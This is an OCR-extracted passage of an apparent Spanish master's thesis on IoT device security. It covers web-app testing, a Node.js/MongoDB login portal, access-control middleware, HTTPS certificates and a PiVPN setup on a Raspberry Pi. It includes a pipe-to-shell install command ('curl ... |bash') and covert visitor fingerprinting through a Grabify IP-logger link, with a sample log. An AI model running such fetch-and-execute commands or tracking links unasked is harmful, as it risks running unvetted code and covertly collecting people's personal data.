tokens de sesion sean visibles durante el envio desde el cliente hasta el servidor.
Control también por herramientas Webscarab y Burp.
Prevencién de ataques de session riding o cross site request forgery (CSRF): Un ataque
de CSRF es aquel en el que se fuerza a un usuario de una aplicacion web a realizar una
peticion HTTP que él no ha solicitado expresamente (siguiendo un enlace o pulsando un
botdn de un formulario).
La aplicacion web debe prevenir que se realicen acciones importantes y relevantes sin la
intervencidn del usuario o confiando Unicamente en informacién predecible.
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 Revision de la validacion de los datos de entrada.

Probablemente, los mayores problemas de seguridad en una aplicacién web se derivan de errores
en la validacion de la entrada. Asi pues, no se debe confiar en los datos externos que se reciben,
ya que son siempre susceptibles de ser alterados por un atacante. Las pruebas que se realicen en
este &mbito determinan el correcto tratamiento de la entrada del usuario, especialmente cuando
ésta puede conducir a vulnerabilidades en la aplicacion.

Se distinguen dos subprocesos:

1)

2)

Problemas de inyeccién: Cuando finalmente se va a utilizar la entrada de un usuario por
un backend o intérprete, es necesario validarla correctamente para evitar la ejecucién de
instrucciones o comandos. Para ello, se seleccionaran primero los vectores de entrada de
datos que sean susceptibles de ser interpretados. Los vectores de entrada susceptibles son
aquellos que serén interpretados por un backend, por ejemplo un servidor LDAP o0 un
gestor de bases de datos relacionales.

Una vez identificados los intérpretes susceptibles de tratar determinados tipos de entrada,
se realizaran baterias de pruebas para encontrar inyecciones de diferente tipo:

o0 Cross Site Scripting.
o0 Inyecciones SQL, LDAP, ORM, XML, XPath, IMAP/SMTP, de cédigo, de
comandos.

Corrupcién de memoria: Las entradas del usuario deben tratarse de forma adecuada, para
evitar que las aplicaciones que van a tratar luego los datos puedan verse afectadas por
problemas de corrupcién de memoria, como desbordamientos de buffer o bugs de
formato. Por ejemplo, deberemos controlar la longitud de los buffer de memoria (en la
pila o el heap: area de memoria usada para la asignacién dinamica de memoria).

Tener en cuenta que estas herramientas pueden generar falsos positivos, no alcanzar
completamente todas las partes de la aplicacién o no ser capaces de detectar problemas ligados a
la l6gica de negocio que realiza la aplicacién.
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10.- IMPLEMENTACION DEL SISTEMA DE CIBERSEGURIDAD
loT. Esquema principal del proyecto.

En primer lugar presentar el principal escenario de red y sistema en el que se basa este proyecto.
En su observacion, podemos ver las distintas unidades componentes de la misma, como son la red
y zona desmilitarizada (DMZ) corporativa y la red de control en una unidad corporativa de una
empresa. Como vemos, el dispositivo electronico se sitla dentro de la red de control, en cualquier
red de campo, de forma distribuida a lo largo de toda la unidad.

_____________________

DMZ CORPORATIVA

Servidores weby de correo

Internet ---------- - il s ﬁ

! RED CORPORATIVA
1 Equipos Servidor
| de trabajo de autenticacién

Servidor

Histérico de aplicaciones

r—m

(commece )
(sammsss)
RED DE CAMPO 2 RED DE CAMPO N
Switch | Switch

1 1 1
! 1 ! 1 ! 1
I ' 1 . I ! - 1
| ] | 1 © ; ' | P !
1 e 1 1 S 1 1 - — 1
I ' 1 I ! 1
1 . . .
,Momtor’local: :Momtorlocal: :Momtorlocal:
1 1 1
O . ] :
| H 1 1 ! 1
=R =R =
! : ! : 1 :
! 1 ! 1 ! 1
| Dispositivo 1 | Dispositivo 1 | Dispositivo 1
I electrénico | 1 electrénico | 1 electrénico |
1 1 1

1
Lo i Lo | b |
| H 1 1 ! 1
! 1 ! 1 ! g 1

Fig.135: Escenario industrial de aplicacion.

El principal y central punto de atencion, es la realizacion, dentro del Proceso de Seguridad de la
empresa, atender y hacer cumplir el Ciclo de seguridad. Aprovechar en este momento para realizar
el aporte de referente de conocimiento popular en el mundo de la seguridad electrénica en que
actualmente son muchas las empresas que han y siguen sufriendo ataques, cada uno mas peligroso
sino perjudicial por no tener estos hitos atendidos en su Plan de Politica de seguridad. Se pretende
disponer de un estadio de vigilancia de seguridad al sistema de control del dispositivo electronico
independiente del sistema de red de comunicacién de usuarios de la empresa. Quedando atendidos
primeros valores de seguridad como Prevencion, Reaccion y Deteccion. Incluso en tiempo real.
En la siguiente figura podemos ver detalle representativo.
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Proceso de Politica de
Seguridad Seguridad

Prevencion

~

Reaccion Deteccidn

Fig.136: Proceso de seguridad. Ciclo de seguridad.
Ejemplo de vulnerabilidad:

A continuacidon y antes de adentrarnos en el esquema funcional del proyecto, veamos un caso
ejemplo de vulnerabilidad. Como sabemos, una de las principales acciones llevadas a cabo por
los hackers, es adquirir algin dato o valor valido para ejecutar precisamente, de la forma més
segura por parte de este, su hazafia de acceder a nuestro sistema. En este ejemplo, destacamos una
de las principales acciones realizadas por estas personas y a fin poder situar mejor el proyecto que
aqui se presenta.

En la siguiente figura, tal y como se ha descrito desde el principio, podemos ver una referencia al
indicado 'modus operandi' de los hackers, en el que vemos el esquema de realizacion de adquirir
un dato valor nuestro como es capturar alguno de nuestros tokens, como podria ser el token id de
usuario o de sesion. Dato que en muchos casos, hasta fechas actuales, ha sido desconocido por
parte de muchos técnicos de seguridad y de inevitable captura por parte del mismo.

Aplicacién

Victima D

3. La victima ejecuta 1ane _//‘; |
) “5//63’36!3/"

el codigo Javasript . 2000
et
ettt S0
e

q'\c-‘-“’/“-a/‘

H
\

6. Hijack de sesion

Fig.137: Adquisicion del token de usuario por parte del hacker.

Tras esta accion, el hacker sigue su principal objetivo de accion como es el de acceder a nuestro
portal web de acceso donde a continuacion, entrar en el sistema, tal como muestra la siguiente
figura. Una vez ha adquirido nuestro dato valor de token, ya puede entrar suplantando nuestra
identidad al sistema.
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Implementa Implementa
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autenticada
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Solicita Pag.ina web Proporciona
acceso protegido cifrada

Fig.138: Acceso por parte del hacker a través del portal con autentificacion falsa.

Con este ejemplo anterior, podemos continuar con la descripcién de los diferentes esquemas y
blogues que componen el proyecto. Para ello, en primer lugar partimos de presentar un primer
esquema general.

En la siguiente figura vemos una primera referencia que abarca este proyecto como es la vigilancia
respecto de acceso a un dispositivo electronico, que en este caso es un dispositivo electrénico
Raspberry, que puede hacer la funcién de, por ejemplo sensor.

Fig.139: Esquema general conjunto del proyecto.

El objetivo es bajo la supervision y gestion por nuestra parte controlar el buen funcionamiento de
disponer a salvo una intrusion ajena al dispositivo. Sobre todo de un usuario. Entendiendo este
como un usuario autorizado respecto a uno no autorizado.

A continuacién pasamos a ver un esquema mas ampliado de la constitucion del proyecto. En este
esquema podemos ver el sistema en conjunto y respecto de puntos principales como son la gestion
y control tanto por parte del dispositivo como del usuario. A destacar las funciones principales
del control de acceso basado en control de Hora, direccion IP y red DNS. Por parte del dispositivo
tenemos el control desde monitorizacion hasta aplicaciones de deteccidn de intrusion y acceso
controlado. El sistema envia correo electronico en cada acceso a lectura de informacion realizada
al dispositivo.
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Esquema principal del proyecto

| Sistema protegido
: por ciberdefensa

Gestion dispositivo

Opcidn
Configurable

Fig.140: Esquema principal del proyecto.

A continuacion, adentrdndonos mas en los componentes del proyecto, vamos a ver los distintos
puntos funcionales como son de forma paralela a la gestion y control del sistema, la identificacion
y monitorizacion del sistema. Basandonos en lo indicado en la seccion Estado del arte tenemos
que, todo sistema de seguridad comienza por parte de la organizacion, si bien su equipo
corporativo en este caso respecto del equipo responsable de mismo en, partir y terminar en un
mismo punto: el anélisis y medidas del riesgo. Como sabemos, el sistema ha de funcionar bajo un
orden normal. Es en caso de cualquier anomalia detectable, como un usuario incorrecto o un
intruso, general una sefial de indicacion a modo de alerta a/los responsable/s del sistema respecto
de acceso no autorizado y/o acceso externo no deseado.

En el siguiente esquema es de destacar sobre todo el acceso por puntos principales al mismo con
son el portal web y el acceso al dispositivo. En ambos se establecen hitos y estadios de control
como quién accede al sistema, ;quién es?, ;de donde viene?, ;,qué pretende?. Estas son las
principales preguntas que en toda entidad corporativa se plantean ante una gestién del sistema de
seguridad respecto de acceso al mismo. Salvaguardando en todo lo posible el mismo.
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Fig.141: Esquema desglose por estadios funcionales.

Aplicaciones de deteccion de intrusion como Snort que hace funciones tanto de deteccion de
intrusién como de firewall y aplicacion de acceso controlado como Port Knocking. También
acompafiado de un sistema de monitorizacion de la red. Acompafian importantes técnicas de
control de informacion como funciones de seguridad por parte del lenguaje de programacion
Python y técnicas de andlisis de informacién como Web Scraping, que nos va a servir para fijar
una identidad de acceso controlada al dispositivo basado en control por etiqueta HTML respecto
del portal de acceso legitimo.

Vigilancia seguridad

Intrusion
electronica:
deteccion

Acceso Web

Captura IP

Acceso dispositivo

—

¢éDesde, A L
nede dénde? Memora, discos a
| | l pYthon
. mongo ¢Accion? Datos Web
Analisis y
medidas del
riesgo

Fig.142: Esquema desglose por medidas y control del sistema.
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10.1.- Implementacion de portal web de control de acceso

Se realiza aqui un primer mddulo de programacion donde se realiza en esta ocasion toda una
programacion de un portal web basado en portales referentes conocidos de acceso por
credenciales de identidad de persona a través del conocido proceso de login. En esta ocasion se
realiza mediante programacion de una pagina web basada en cddigo html junto con el motor Node
como principal centro operativo del proceso de control de usuario tras su accion de login. Para la
implementacion se utilizan las siguientes tres tecnologias actuales, html, node y el registro de la
informacién por base de datos basada en nosgl, mongodb, referencia de informacion [35] y[36].

HTML

nede ‘ mongo

Fig.143: Tecnologias implementadas en el portal web de control de acceso.

10.1.1.- Gestion por Node

Como principal por importancia, se describe el motor Node.js. Node es un entorno
JavaScript de lado de servidor que utiliza un modelo asincrono y dirigido por eventos. Uno de los
puntos fuertes de Node.js es su capacidad de mantener muchas conexiones abiertas y esperando.
Node.js estd enfocado al desarrollo de servidores, especialmente a aquellos con una gran demanda
de entradas y salidas de datos. Por ejemplo un sistema de monitorizacion o un sistema de control
de acceso como es este caso. Donde encontramos principalmente el motivo si bien la diferencia
respecto a no implementarlo con otros sistemas es aqui, a la vista de la siguiente tabla:

Node.js Ruby Python Java
Lenguaje JavaScript Ruby Python Java
Motor V8 Yarv cPython Java VM
Entorno Node.js Ruby Estandar | Piton Estandar | Java SE
Library Library
Framework ?? (muchos) Rails Django Srping

Tabla 20: Comparativa motores de gestion.

Donde Node.js realmente brilla es en la creacidn de aplicaciones de red rapidas, ya que es capaz
de manejar una gran cantidad de conexiones simultaneas con un alto nivel de rendimiento, lo que
equivale a una alta escalabilidad. El servidor nunca necesita crear mas subprocesos o cambiar
entre subprocesos, lo que significa que tiene muy poca sobrecarga.

Node.js soluciona este problema, proporcionando una manera facil de crear aplicaciones web
escalables. En vez de crear un hilo por cada nueva solicitud al servidor y asignarle memoria, cada
conexion dispara un evento dentro de un Unico hilo en ejecucion del tipo asincrono del Node.js.
Esto le permite soportar decenas de miles de conexiones concurrentes.

10.1.2.- Base de datos: mongoDB

Vamos a operar junto con la base de datos mongodb, precede del nombre por palabra en inglés
"humongous" que significa enorme. Base de datos incluida dentro del conjunto de referencia a
bases de datos, nosql, o bases de datos no basadas en el estandar sql. Aunque cabe citar en primer
lugar que obviamente, dependera de las caracteristicas y/o aplicacion del proyecto conjunto, se
indica aqui esta tecnologia como, de una forma general y con vistas a la seguridad, indicar que
aporta grandes ventajas, como por ejemplo, trabajar con conjuntos de colecciones y documentos
independientes, con lo que podemos modificar su contenido individual sin afectar al resto.
Aunque no es de este contenido entrar en muchos detalles de esta base de datos, si que
destacaremos sus principales ventajas que aqui nos acontece, como es el hecho de proveer
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seguridad, para ello, indicar a mongodb como una base de datos no relacional. Cito segin [37]
algunas ventajas y desventajas importantes dentro del entorno de la seguridad:

- No poseen relaciones, con lo cual, cada configuracion, es distinta a las demas, lo que le
aporta individualidad dentro del sistema.

- Basadas en pares clave valor, lo que las hace sencillas para implementa pares de
pardmetros de seguridad como son pares sencillos de valores de usuarios, como por
ejemplo, identidad — contrasefia.

De hecho, en mongodb, respecto de seguridad, seria de destacar:
- No hay tablas.
- No hay "joins".
- No hay transacciones.
Por su puesto, cabe indicar algunas desventajas, como son:
- No es una solucién adecuada para aplicaciones con transacciones complejas.
- No tiene un reemplazo para soluciones de herencia.

- Todavia es una tecnologia joven.

Asi pues, en tanto que tampoco se considera realizar aqui un curso de Node, pasemos directamente
a la accion contemplando mejor su funcionalidad.

Servidor Node

11— Gestor Hilos
07' Bucle de asincronos Operacidn no
bloqueante
_l eventos @@
. -
=
- &
o = | =
: ®
——l! - Ficheros BBDD
3 .
0t
4

Fig.144: Esquema de operacion de Node.

La aplicacion se realiza atendiendo al modelo de programaciéon MVC (Modelo — Vista —
Controlador). Lo que nos permite poder realizar actualizaciones y modificacion de manera
facilmente implementables y sin que afecten al resto de los médulos que componen el conjunto
operativo.
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Fig.145: Muestra pantalla Portal de acceso web.

10.2.- Aplicacién: Portal web de acceso.

Se realiza un Portal web de acceso en el que se sigue el mismo patrén convencional de acceso a
la parte interna de una empresa. A través de un usuario y su contrasefia. Para ello, antes que nada,
veamos dentro de nuestro esquema principal de control, en que punto nos situamos:

Registro de usuario

‘,

Entrada Login

nif“i
company

Acceso

e 0s

H

-
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nd

\&

*

.mongo

Fig.146: Esquema de registros y control del portal.
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Vigilancia seguridad
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Fig.147: Esquema de Control de vigilancia. Punto de control aplicado.

Los items a atender seran:
- Registro por alta de usuario.
- Acceso de usuario a la Intranet de servicio del dispositivo electronico.

Registro por alta de usuario. A continuacion se muestra una referencia a la misma.

Aplicacion TFM  Home

Registro de usuario

Nombre
Email
Password

Password

Fig.148: Registro de usuario.

Acceso de usuario. A continuacion se muestra una referencia a la misma.
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company
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Password

Acceso

Fig.149: Acceso de usuario a la Intranet de gestion del dispositivo.

Para toda la operacién implicada, interviene aqui el motor Node junto con la base de datos
mongodb. Nos centraremos en los aspectos mas importantes de estos. Como por ejemplo, la
conexion a la base de datos y su esquema de datos de usuario.

Conexidn a base de datos de Mongodb:

Fig.150: Muestra pantalla parametros Base de datos Mongo db.

En models, Ing_usuarios.js se encuentra el esquema de datos de usuario:

Fig.151: Muestra pantalla Esquema Base de datos.

A continuacion, entra la parte operativa por parte de Node de las gestiones y atenciones requeridas
por el usuario. Realizados mediante lo que en programacion se denomina instanciamientos. todos
en este caso, atendidos tal como nos lo permite el motor Node, de forma asincrona, mediante los
pardmetros async y await.
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({ email:

Fig.152: Muestra pantalla respuesta a errores alta usuario.

Como dato importante, procedemos a gestionar el tratamiento de seguridad a la contrasefia.
Realizamos la entrada, por el método tradicional a través de la insercion por parte del usuario en
el formulario web asociado.

Fig.153: Muestra pantalla entrada para alta de datos de usuarios.

Por referencia conocida y por extension, no considero realizar una ocupacién de tiempo en indicar
que por contrasefias, Node permite realizar las llamadas funciones singulares en las que poder
realizar combinaciones de contrasefias a fin de generar si bien aportar mas seguridad. Como por
ejemplo, las siguientes combinaciones de caracteres y esquema asociado:

String,

String,

Fig.154: Muestra pantalla posibles configuraciones entrada de datos para password

Asi gque procedemos, y ya que asi nos lo permiten las funciones de Node encryptPassword y
berypt cifrar la contrasefia.
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Berypt es una funcion de hashing de passwords basado en el cifrado de Blowfish. Se usa por
defecto en sistemas OpenBSD y algunas distribuciones Linux y SUSE. Lleva incorporado un
valor llamado salt, que es un fragmento aleatorio que se usara para generar el hash asociado al
password, y se guardard junto con ella en la base de datos. Asi se evita que dos passwords iguales
generen el mismo hash y los problemas que ello conlleva, por ejemplo, ataque por fuerza bruta a
todas las passwords del sistema a la vez. Con el salt, se afiade un grado de complejidad que evita
que el hash asociado a una password sea Unico.

Fig.155: Funcion berypt para encriptacion de contrasefia.

Comparamos la contrasefia con la de la base de datos.

Fig.156: Se compara la contrasefia con la de la Base de datos.

A continuacion, un ejemplo de contrasefia de usuario cifrada e identificador de usuario
autenticado (_id, ver a continuacion por Passport), ejemplo de simulacion:

C:\Users\Javier\Desktop\Proyecto_Node\src
BDatos cor ada
Se ha autenticado: { _id: Sdeff7aSedbee?:
nombre : .
email: N
password:

fecha:
v:el}

Fig.157: Ejemplo de cifrado de contrasefia.

A continuacion, le sigue el proceso de autenticacion del usuario, para ello utilizamos la funcion
de Node Passport. Proceso de autenticacion en fichero: Passport.js

Por estrategia local, busca el match de email con password. Devuelve el usuario. Mediante los
métodos SerializeUser y deseriazeUser almacena las sesiones de usuario.
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Fig.158: Comprueba la existencia de usuario y su contrasefia.

Con redirect lo llevamos a la pantalla de entrada, signin.

10.3.- Captura de direccion IP. Grabify IP logger.

Como referencia importante, destacar aqui una de las funciones méas importantes en todo este
proceso: el de la captura y registro del usuario de acceso a la Intranet. Para ello, se dispone la
funcionalidad disponible a través de Internet de poder realizar esta gestion. Se corresponde con el
portal de gestion: Grabify IP logger [38].

Junto con otros conocidos como IP logger constituye un portal de gestion de este evento. En el
caso de este proyecto, se dispone para su realizacion de un "boton" en el que un usuario
desconocido realizard un 'click’ en este y en que a partir de ese momento, Grabify le capturara su
IP y procederd a su identificacion.

A continuacién se muestra una muestra tomada a través de mi mismo acceso:
GRABIFY IP LOGGER TOOLS ~ LOGIN REGISTER

Select Domain Name: "

(Al custom links will stay active)
Original URL https://www.google.es/
New URL E&"  https:igrabifylink/JYR6N1
Other Links
Tracking Code BUB142
Access Link https:/igrabifylink/track/BUB142

Smart Logger "' @

Note Please or ter to create a note.
RESULTS: 1
MNote: If you have posted your link on Facebook, Twitter, or in a URL shortener, you may see results from various "bots” (BithyBot, FacebookBot, etc.)
Hide your IP! - k her hide
Hide Bots
Country Referring
Date/Time IP Address (%] User Agent URL Host Name ISP More
2020-02-03 79.154.175.96 Spain, Mozilla/5.0 (Windows NT 10.0; Winé4; x64; P6.red Telefonica De
11:50:51 Mislata rv:72.0) Gecko/20100101 Firefox/72.0 79-154-175.dynamicip.rima- Espana

tde.net
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ADVANCED LOG

Date/Time

IP Address
Country @
Orientation
Timezone

User Time
Language
Incognito/Private Window
Ad Blocker
Screen Size

Local IP

GPU

Browser
Operating System
Touch Screen
User Agent
Platform
Referring URL
Host Name

ISP
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2020-02-03 11:50:51

79.154.175.96

Spain, Mislata

landscape-primary

Europe/Madrid GMT+1

Sun Feb 02 2020 23:52:43 GMT+0100 (hora estdndar de Europa central)
es-ES

No

Yes

1920x 1080

192.168.1.35

Intel(R} HD Graphics 530

Firefox (72.0)

Windows 10 x64

No

Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:72.0) Gecko/20100101 Firefox/72.0

Win32

Q6.red-79-154-175.dynamicip.rima-tde.net

Telefonica De Espana

Fig.159: Captura de IP. Datos de la direccién IP y otros como el proveedor y ordenador de acceso.

10.4.- Middleware. Control de acceso.

En el contexto de node.js, middleware es una forma de filtrar una solicitud y una respuesta a una
aplicacion. Afade una pequefia capa entre el cliente y la aplicacion, ver figura siguiente.
Proporciona una forma sencilla de separar las acciones que tendra que realizar nuestra aplicacion
y nos ayudara a generar un cédigo mas sencillo de mantener, a mejorar el modelo de seguridad y
a que podamos realizar reutilizar el codigo en otros proyectos. La idea es sencilla y ofrece un gran
potencial y flexibilidad. Lo que se realiza en este proyecto, control de acceso a la aplicacién como
sistema de seguridad, es una de las varias aplicaciones que permite la implementacion de

middleware.

Cliente

Solicitud HTTP
> 5 mm) | S
Respuesta HTTP % ‘—;_
s <

= =

Fig.160: Modelo de aplicacion de Middleware.
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Es aqui donde entra otra parte importante de la seguridad afiadida. En esta ocasion el motor Node,
lo programamaos para que realice una serie de controles programables al usuario como son:

- Franja horaria de acceso.

- Direccion IP.

- Servidor DNS.

Control de franja horaria de acceso:

En esta funcion podremos controlar la franja horaria valida para el acceso al sistema. Con la
variable currentHour podemos implementar el intervalo horario de aceptacion.

Fig.161: Implementacién de codigo de control horario.

Control direccion IP:

A continuacién del control de franja horaria, le sigue en control de acceso por la direccién IP,
controlada por la funcién filterBylp, le pasamos la direccion IP de conexion valida. Podemos
establecer un array de direcciones validas a las que se les permitira el acceso. En el caso que nos
ocupa, correspondera el acceso a la direccion entrante por parte del ordenador de acceso con OP:
192.168.1.40.

// Verific

Fig162: Implementacion cddigo de control de direccion IP.
Control de acceso por dominio:

Acompariiando y siguiendo en serie los dos controles anteriores de control de intervalo horario y
de direccion IP, le sigue a continuacion el control de dominio, donde en este caso, lo establecemos
a través de la variable raspilP_port, en este caso de ejemplo, identificando al dominio:
192.168.1.38:3000.
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Fig.163: Implementacion codigo de control de dominio.

10.5.- Conexion por HTTPS

Respecto de establecer el servidor para conexion por https, no hay més que realizar las siguientes
tareas, consistentes en, generar una clave y certificado de conexidn [6] [39]:

Paso previo: instalar los moédulos fs y https:

npm install fs —save

npm install https —save

1.- Generar el certificado SSL de servidor autofirmado:

En primer lugar, generamos la clave privada

openssl genrsa -out key privada.pem

Fig.164:Muestra de generacidn de certificados.

Para crear el fichero de "Peticion de firma de Certificado (CSR) se realiza como sigue:

openssl req -new -key key privada.pem -out certrequest.pem
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Fig.165: Muestra de generacion de certificados realizada. Introduccion datos validez.
Para crear un certificado autofirmado con el CSR hay que hacer:

openssl x509 -req -in certrequest.pem -signkey key privada.pem -out
certificado.pem

Una vez generados los dos ficheros, los copiamos en el directorio de trabajo. En el fichero index.js
pondremos el siguiente cdédigo de configuracion, comenzando con las lineas 8 y 9, donde
solicitamos los servicios 'https' y 'fs' de File System para la gestion de ficheros.

Fig.166: Configuracion servidor modo https.
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A continuacion, una muestra funcionamiento del portal por https.

<« C @ |9 & ntps//127.0.0.1:3000 | | Q Buscar meo®e &

£} Mas visitados <2 colab.research.google... @ Comenzar a usar Firefox (5} 403 Farbidden @) TAC: Problemasy Exa... () http://catedraisdefe.ct.., (D file:///Ci/Users/lavier/.. (O file:///C:/Users/Javier/...

Aplicacion TFM  Home Acerca de Acceso (Sgin)

UNIVERSITAT

) POLITECNICA Pég|na pI’II’]CIpa| - mdeX i .

DE VALENCIA

Presentacion TFM: Seguridad de red en dispositivos electrénicos loT

Méster Universitario en Ingenieria de Telecomunicacién

Ala UPY

Fig.167: Establecimiento de conexion a servidor por https.
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11.- IMPLEMENTACION DE RED PRIVADA VIRTUAL. VPN

Procedemos ahora a proporcionar un servicio de acceso al dispositivo realizado a través del
establecimiento de la llamada Red Privada Virtual (VPN). Previamente, un breve repaso de qué
es una VPN respecto de su funcionamiento y para el caso que nos ocupa, acceso remoto al sistema
de gestién de un dispositivo electronico.

Una red privada virtual (VPN) permite una extension segura de la red de &rea local LAN sobre
una red publica o no controlada como Internet. Permite que el ordenador en la red envie y reciba
datos sobre redes compartidas o publicas como si fuera una red privada con toda la funcionalidad,
seguridad y politicas de gestion de una red privada. Esto se realiza estableciendo una conexion
virtual punto a punto mediante el uso de conexiones dedicadas, cifrado o la combinacion de ambos
métodos.

Ejemplos comunes, como este, son la posibilidad de conectar dos 0 mas sucursales de una empresa
utilizando como vinculo Internet, permitir a los miembros del equipo de soporte técnico la
conexion desde su casa al centro de computo, 0 que un usuario pueda acceder a su equipo
doméstico desde un sitio remoto, como por ejemplo un hotel. Todo ello utilizando la
infraestructura de Internet.

La conexion VPN a través de Internet es técnicamente una union Wide Area Network (WAN)

entre los sitios pero al usuario le parece como si fuera un enlace privado de ahi la designacion
"virtual private network" [40]. La siguiente figura nos reporta un esquema referente.

REDLOCAL wewwwwema

1.S.P.:Proveedor de acceso

Cliente VPN

\ rvidor VPN

Ve

|

Otros equipos

Fig.168: Vista esquema de implementacion de una Red Privada Virtual.

OpenVPN se ejecuta en una gran cantidad de plataformas. Algunos ejemplos incluyen Windows,
macOS, i0S, Android, Linux, routers, FreeBSD, OpenBSD, NetBSD y Solaris.

OpenVPN es un protocolo muy seguro, capaz de utilizar claves de cifrado de 256 bits y codigos
de alta gama. Puede disfrutar de potentes cédigos como AES y Camellia, y SHA-256, SHA-384,
SHA-512 y RMD-160 para el cifrado de autenticacion. Ademas, también puedes usar otros cinco
protocolos VPN: SoftEther, IKEv2/IPSec, SSTP, L2TP/IPSec, PPTP.
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11.1.- Instalacion
Asignacion direccion IP al dispositivo

En este caso procederemos a instalar el software existente para establecer este servicio, se trata
de la aplicacion OpenVPN [41].

1.- Actualizamos repositorio de paquetes y instalamos las actualizaciones:
#sudo apt-get update

#sudo apt-get upgrade

2.- Establecemos una direccion IP a la Raspberry:

En este caso una de las direcciones de rango privado libres entregada por el servidor DHCP del
router.

Metwork Preferences  ~ x

Configure: Blinterface v &eth0 ~

Automatically configure empty options

Disable IPv6

IPv4 Address: | 192.168.1.40

IPv6 Address

Router: 192.168.1.1
DNS Servers

DNS Search

Clear Close

Apply

Fig.169: Puesta de direccion dinamica IP.

3.- Configuracién del servicio No-IP

Para el caso que nos ocupa, por el motivo de utilizar una red publica respecto de nuestra conexion
remota, hemos de configurar de forma fija nuestra IP publica. Para ellos disponemos del portal de
este servicio No-IP el cual nos va a permitir "contener” la IP publica asignada de forma dindmica.

Lo que haremos seré asociar un nombre de dominio a la direccion IP de tal manera que sera el
nombre de dominio el que recoja cada asignacion de direccion IP. Para ello, asignamos el nombre
de dominio genérico: mirpidnsjavier.ddns.net.

& Dashboard

\) 10f3 * Free Hostnames expire every 30 days. Enhancid Hostnames never

Hostname « Last Update P/ Target Type

Feb 4. 2020 79.154.175.96 O Modfy x
0257 PST
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Hostname = Last Update IP / Target Type

Feb 4, 2020 79.154.175.96
02:57 PST

Fig.170: Configuracidn del portal de servidor dindmico DNS No-IP.

Descargamos el programa en la Raspberry para que sincronice con la IP publica en cada puesta
en marcha del dispositivo:

wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz

Descomprimimos el archivo:

tar -zxv noip-duc-linux-tar.gz

Nos vamos a la carpeta donde lo hayamos descomprimido e instalamos el programa con:
#make

#sudo make install

Durante la instalacién, nos pedira el usuario y contrasefia del servicio No-IP.

Una vez que tenemos instalado el programa, tenemos que crear un "script” para agregar a los
servicios que se inician con el sistema operativo:

Creamos un fichero /etc/init.d/noip2 con el editor de texto disponible.
El contenido del archivo sera:
#! [bin/bash
### BEGIN INIT INFO
### END INIT INFO
{usr/local/bin/noip2
Le asignamos permiso de ejecucién al archivo:
#sudo chmod +x /etc/init.d/noip2
y por ultimo ejecutamos:
#sudo update-rc.d noip2 defaults
Para que se ejecute al final el proceso de arranque:
En /etc/rc.local
afiadimos Is linea /usr/local/bin/noip2
antes del 'exit 0,
Configuracion del puerto de operacion de la VPN

Puerto de trabajo por defecto del router 1194. Aunque es cambiable. En este caso, por motivo de
asignacion de prueba, no se ha considerado. No obstante, por seguridad, es conveniente asignar
otro nimero de puerto. Como por ejemplo: 5194.

Configuracion del servidor VPN

En este caso, la direccion del servidor la correspondemos con la direccion del puerto
Ethernet del dispositivo, en este caso: 192.168.1.40 (en este caso, la direccion dinamica
asignada por el router).
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Fig.171: Direccion IP del servidor. En este caso, la del puerto Ethernet del dispositivo

Descargamos el servidor VPN atendiendo al siguiente comando e instruccion
curl -L https://install.pivpn.io |bash

A continuacidn, el programa nos ird preguntando las correspondientes asignaciones de direccion,
tanto la direccién IP que realizara la funcion de servidor asi como la IP publica de acceso para
establecer la conexion.

A continuacion se muestran las pantallas mas principales de configuracion.

En primer lugar nos indica que se requiere una direccion IP estatica referida a que no cambie
durante los procesos de conexion. En este caso, le ponemos la direccion reportada por el servidor
DHCP del router y que sera la que estd como hemos visto en indicacidn anterior indicada para el
interfaz Ethernet del dispositivo. Direccion: 192.168.1.40.
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Static IP Needed }

The PiVPN is a SERVER so it meeds a STATIC IP ADDRESS to function
properly.

In the next section, you can choose to use your current network
settings (DHCP) or to manually edit them.

Fig.172: Configuracion IP estética.

DHCP Reservation |

Are you Using DHCP Reservation on your Router/DHCP Server?
These are your current Network Settings:

IP address: 192.168.1.408/24
Gateway: 192.168.1.1

Yes: Keep using DHCP reservation
No: Setup static IP address
Don't know what DHCP Reservation is? Answer No.

Fig.173: Muestra de configuracion IP estatica y Puerta de enlace.

A continuacidn seleccionamos un identidad de usuario, en este caso la por defecto que nos provee
el dispositivo Raspberry. Usuario: pi.
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{ Choose A User |
Choose (press space to select):

<Cancel>

Fig.174: Seleccionamos cliente usuario: Raspberry.

A continuacion una sencilla pantalla donde indicamos el modo de instalacién y en el que le
indicaremos: OpenVPN.

1 Installation mode
WireGuard is a new kind of VPN that provides near-istantaneous
connection speed, high performance, modern cryptography.

It's the recommended choice expecially if you use mobile devices
where WireGuard is easier on battery than OpenVPN.

OpenVPN is still available if you need the traditional, flexible,
trusted VPN protocol. Or if you need features like TCP and custom
search domain.

Choose a VPN (press space to select):

j<0k>} <cancel>

Fig.175: Seleccion modo de instalacion: Open VPN.

A continuacién podemos indicar el protocolo de comunicacion: UDP o TCP. En mis pruebas, por
TCP no funciond. Para este caso, indicamos UDP.

185



UNIVERSITAT
POLITECNICA
DE VALENCIA

{ Protocol |
Choose a protocol (press space to select). Please only choose TCP
if you know why you need TCP.

<Cancel>

Fig.176: Seleccion protocolo de conexion: UDP.

El ndmero de puerto de conexion: 1194. Por seguridad, podemos indicar otro nimero de puerto.

| Default openvpn Port |
You can modify the default openvpn port.
Enter a new value or hit "Enter' to retain the default

<Cancel>

Fig.177: Seleccion puerto de conexion: 1194,

A continuacion, una sencilla pantalla donde nos solicita que le indiquemos el nombre del
proveedor DNS. Le indicamos uno cualquiera, en este caso, por popularidad: Google.
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Select the DNS Provider

for your VPN Clients (press space to select). To use your own,
select

Custom.

In case you have a local resolver running, i.e. unbound, select
"PiVPN-is-local-DNS" and make sure your resolver 1is
listening on

<Cancel>

Fig.178: Seleccion de proveedor DNS.

A continuacion nos indica confirmacion de la direccion IP pablica. En mi caso, la direccion:
79.155.58.103.

En el caso de tener IP publica dindmica. Le podemos indicar en DNS Entry, el nombre de
proveedor pablico de DNS. Como ha podido ser el caso del proveedor: No-1P.

Public IP or DNS }

1
Will clients use a Public IP or DNS Name to connect to your server
(press space to select)?

<Cancel>

Fig.179: Configuracion IP publica.

A continuacidn, nos solicita que le indiqguemos el tamafio en bits con el que generara el cifrado y
lo indicara en el Certificado. Por defecto, en nuestro caso, le indicamos 256 bits. Obviamente, a
maés bits, mas complejidad y a esto, mayor lentitud en la red.
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{ ECDSA certificate size |
Choose the desired size of your certificate (press space to
select):

This is a certificate that will be generated on your system. The
larger the certificate, the more time this will take. For most
applications, it is recommended to use 256 bits. You can increase
the number of bits if you care about, however, consider that 256
